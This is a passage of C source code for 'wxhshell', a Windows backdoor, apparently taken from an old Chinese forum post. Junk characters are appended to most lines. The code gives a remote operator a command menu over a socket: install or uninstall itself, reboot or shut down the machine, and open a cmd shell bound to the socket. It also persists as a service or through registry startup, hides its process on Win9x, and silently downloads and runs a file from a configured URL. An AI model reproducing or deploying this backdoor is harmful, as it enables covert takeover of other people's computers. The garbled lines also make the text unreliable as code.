    switch(cmd[0]) { \ cdns;  
  WIN3*z7oW  
  // 帮助 as(Zb*PdH  
  case '?': { ><qA+/4]_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )XDbg>  
    break; .;)V;!  
  } IN,=v+A  
  // 安装 9w6 uoM  
  case 'i': { k#-%u,t  
    if(Install()) 3a'#Z4Z-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <rFh93  
    else =z4J[8bb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (v&iXD5t  
    break; xKkXr-yb`f  
    } 8H,k0~D  
  // 卸载 7b7WQ7u  
  case 'r': { #S(b2LEc  
    if(Uninstall()) 7u:QT2=&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +(Jh$b_  
    else VNs3.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;?y~ h$  
    break; #itZ~tol  
    } =imJ0V~RW  
  // 显示 wxhshell 所在路径 _:%i6c*"  
  case 'p': { ]!uId#OH  
    char svExeFile[MAX_PATH]; C%|m[,Gx  
    strcpy(svExeFile,"\n\r"); }lP`3e  
      strcat(svExeFile,ExeFile); BZ(DP_}&D  
        send(wsh,svExeFile,strlen(svExeFile),0); "y60YYn-#J  
    break; ^I{/j 'b&  
    } 2$'bOo  
  // 重启 {$V2L4  
  case 'b': { R+El/ya:6  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [{: l?  
    if(Boot(REBOOT)) *;F:6p4_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Yq'D-$@  
    else { #8$" 84&N.  
    closesocket(wsh); +$F,!rV-s  
    ExitThread(0); S~>R}=  
    } iz0:  
    break; j^/=.cD|  
    } $EL:Jx2<  
  // 关机 !;Ke#E_d  
  case 'd': { hrGX65>  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); agq4Zy  
    if(Boot(SHUTDOWN)) {B4.G8%Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^v+p@k  
    else { :sttGXQX  
    closesocket(wsh); q0b*#j  
    ExitThread(0); DPkH:X  
    } yY]E~  
    break;  `fE'$2  
    } OuK RaZ  
  // 获取shell @)wsHW%cjz  
  case 's': { Ir=G\/A  
    CmdShell(wsh); +.gj/uy*  
    closesocket(wsh); DG}s`'  
    ExitThread(0); F,V| In  
    break; wB:<ICm  
  } nX\mCO4T  
  // 退出 3"sXN)j  
  case 'x': { FF;Fo}no-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); '<>?gE0Cd  
    CloseIt(wsh); ;/H/Gn+  
    break; ~[f`oC  
    } Er - rm  
  // 离开 7* [  
  case 'q': { k9;t3-P  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %j2$ ezud  
    closesocket(wsh); 3#Iq5vT  
    WSACleanup(); YABi`;R]'  
    exit(1); V9Dq<y-y  
    break; 2qQ;U?:q  
        } !N!AO(Z  
  } )Cat$)I#,  
  } qj4jM7  
w"W;PdH)  
  // 提示信息 x&r f]R  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lPrAx0m13%  
} >x6)AH.  
  } 5tk7H2K^<  
4aW[`  
  return; $/$Hi U`.  
} 6J">@+  
F%.UpV,  
// shell模块句柄 ~=I:go  
int CmdShell(SOCKET sock) y0p\Gu;3j  
{ a!f71k r  
STARTUPINFO si; %xKZ" #Z#K  
ZeroMemory(&si,sizeof(si)); +~=j3U  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4P"XT  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; itg"dGDk  
PROCESS_INFORMATION ProcessInfo; C XNYWx  
char cmdline[]="cmd"; 3E0C$v KM  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Z{/GT7 /  
  return 0; 8n:N#4Dh^  
} p/G9P +?  
5m;BL+>YE  
// 自身启动模式 GDb V y)&  
int StartFromService(void) 6G}4KGQc  
{ \}X[0ct2!  
typedef struct > 6=3y4tP  
{ ^ 8YBW<9  
  DWORD ExitStatus; 2dK:VC4U  
  DWORD PebBaseAddress; a8gOb6qF/H  
  DWORD AffinityMask; ;/kmV~KG  
  DWORD BasePriority; H}q$6W E  
  ULONG UniqueProcessId; LDYa{w-t  
  ULONG InheritedFromUniqueProcessId; \cf'Hj}  
}   PROCESS_BASIC_INFORMATION; 4eF{Y^   
+zXcTT[V  
PROCNTQSIP NtQueryInformationProcess; IVa6?f6H_  
t<j_` %`8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; L}'^FqO[IW  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; P]OUzI,  
LFr$h`_D5  
  HANDLE             hProcess; &|#,Bsk"@  
  PROCESS_BASIC_INFORMATION pbi; %$'fq*8b  
0F.S[!I  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <@l j\,  
  if(NULL == hInst ) return 0; 6L)7Q0Z  
r'lANl-v  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0{u%J%;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); F/[m.!Eo  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7 toIbC#  
Rg+# (y  
  if (!NtQueryInformationProcess) return 0; 5:#|Op N  
9MQjSNYzo  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {+[ Ex2b$  
  if(!hProcess) return 0; j(}pUV B  
WF_QhKW|k  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; IYHNN  
2+b}FVOe\  
  CloseHandle(hProcess); >>"@ 0tO  
L"NfOST3'R  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >yVp1Se  
if(hProcess==NULL) return 0; cYXL3)p*Q  
bUds E 1f  
HMODULE hMod; ] W$V#  
char procName[255]; * dk(<g=fM  
unsigned long cbNeeded; JIHIKH-#  
Bk^o$3#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); F S$8F  
d0&  
  CloseHandle(hProcess); Le{.B@2-"  
Q04 `+Vr  
if(strstr(procName,"services")) return 1; // 以服务启动 qJ<l$Ig  
wp5H|ctl  
  return 0; // 注册表启动 uBn35%  
} Rha|Rk~  
3N|6?'m  
// 主模块 E@#<p-@~  
int StartWxhshell(LPSTR lpCmdLine) A)Rh Bi  
{ HgBu:x?&  
  SOCKET wsl; SqdI($F\:  
BOOL val=TRUE; -M_>]ubG  
  int port=0; xI/8[JW*  
  struct sockaddr_in door; z.?slYe[  
#0\* 8 6  
  if(wscfg.ws_autoins) Install(); k#7A@Vb  
euW   
port=atoi(lpCmdLine); ;t,v/(/3  
3 TTQf f  
if(port<=0) port=wscfg.ws_port; zSu,S4m_;  
wXKt)3dmu  
  WSADATA data; TJ_6:;4,|_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Zb|a\z8?  
DsD? &:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0IP0z il  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); s&<76kwl  
  door.sin_family = AF_INET; Q#.E-\=^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); jA[")RVG  
  door.sin_port = htons(port); td23Z1Elk#  
Cud!JpL  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { GCX?W`  
closesocket(wsl); JNJ6HyCU  
return 1; '5~l{3Lw  
} wO`G_!W9  
' I!/I  
  if(listen(wsl,2) == INVALID_SOCKET) { t 7sEY  
closesocket(wsl); UI%4d3   
return 1; K{V.N</  
} 9?~6{!m_9  
  Wxhshell(wsl); x25zk4-  
  WSACleanup(); 6l &!4r@}  
98 ]pkqp4  
return 0; &A`,hF8  
 Y(2Z<d  
} Jf\`?g3#  
,"{e$|iY  
// 以NT服务方式启动 V<;_wO^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0IA' 5)  
{ +dRRMyxe4  
DWORD   status = 0; 5J1a8RBR  
  DWORD   specificError = 0xfffffff; +Ar4X-A{y  
[!8b jc]c  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 81!;Wt(?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; o)x&|0_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }gB^C3b6  
  serviceStatus.dwWin32ExitCode     = 0; ;ceg:-Zqo  
  serviceStatus.dwServiceSpecificExitCode = 0; l~Ka(*[!U  
  serviceStatus.dwCheckPoint       = 0; O=lRI)6w@e  
  serviceStatus.dwWaitHint       = 0; u47`&\  
V@TA~'$|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); dK,=9DQy5  
  if (hServiceStatusHandle==0) return; C>mFylN  
E AKW^'D  
status = GetLastError(); B., BP  
  if (status!=NO_ERROR) 3Co1bY:  
{ Msfxce  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2tCw{Om*  
    serviceStatus.dwCheckPoint       = 0; VB T 66kV  
    serviceStatus.dwWaitHint       = 0; W tHJG5  
    serviceStatus.dwWin32ExitCode     = status; 1$6 u  
    serviceStatus.dwServiceSpecificExitCode = specificError; MpvGF7H  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _@gg,2 u-  
    return; _x#y   
  } bAuiMw7!  
V[kn'QkWv  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; L~by`q N_  
  serviceStatus.dwCheckPoint       = 0; jG)66E*"  
  serviceStatus.dwWaitHint       = 0; Y9vVi]4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *yo'Nqu  
} -yg;,nCg  
Q)qJ6-R|HD  
// 处理NT服务事件,比如:启动、停止 nn$^iw`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #o9CC)q5G  
{ ITi#p%  
switch(fdwControl) !|]k2=+I  
{ yf`_?gJ6d  
case SERVICE_CONTROL_STOP:  cz>)6#&O  
  serviceStatus.dwWin32ExitCode = 0; 5 wN)N~JE  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; PYY<  
  serviceStatus.dwCheckPoint   = 0; d(R8^v/L  
  serviceStatus.dwWaitHint     = 0; -vk/z+-^!  
  { x!pd50-   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )1R[X!KQ7  
  } Tyb'p9  
  return; riaL[4c  
case SERVICE_CONTROL_PAUSE: g}K/ba'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $=^}J 6  
  break; /h`gQyGuY  
case SERVICE_CONTROL_CONTINUE: QMrH%Y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; E?|NYu#I6  
  break; X%fLV(  
case SERVICE_CONTROL_INTERROGATE: S1'?"zAmd  
  break; CRrEs 18;#  
}; IB 4L(n1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1p&=tN  
} =?wDQ:  
QR8]d1+GV  
// 标准应用程序主函数 ,@ f|t&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) W$J.B!O  
{ _FS #~z'j  
nU\.`.39 +  
// 获取操作系统版本 kApDD[ N  
OsIsNt=GetOsVer(); 8oRq3"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); P c5C*{C  
T?=]&9Y'  
  // 从命令行安装 d7zZ~n  
  if(strpbrk(lpCmdLine,"iI")) Install();   uk,9N  
C#1'kQO  
  // 下载执行文件 b].U/=Hs  
if(wscfg.ws_downexe) { xXmlHo<D  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) I69Z'}+qz  
  WinExec(wscfg.ws_filenam,SW_HIDE); /l3Oi@\  
} Gi$\th,  
KZ^>_K&  
if(!OsIsNt) { \VW":+  
// 如果时win9x,隐藏进程并且设置为注册表启动 qf<o"B|_9  
HideProc(); '.S02=/  
StartWxhshell(lpCmdLine); \9od*y  
} b'R]DS{8  
else _+7P"B|\  
  if(StartFromService()) mL'A$BR`  
  // 以服务方式启动 IDh`*F  
  StartServiceCtrlDispatcher(DispatchTable); VsK8:[Al  
else [O!/hppN  
  // 普通方式启动 .RmoO\ ,Gm  
  StartWxhshell(lpCmdLine); 2\+N<-(F5  
p?P.BU\CR  
return 0; 0R(['s:3`  
}
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只看该作者 1 发表于: 2006-10-10
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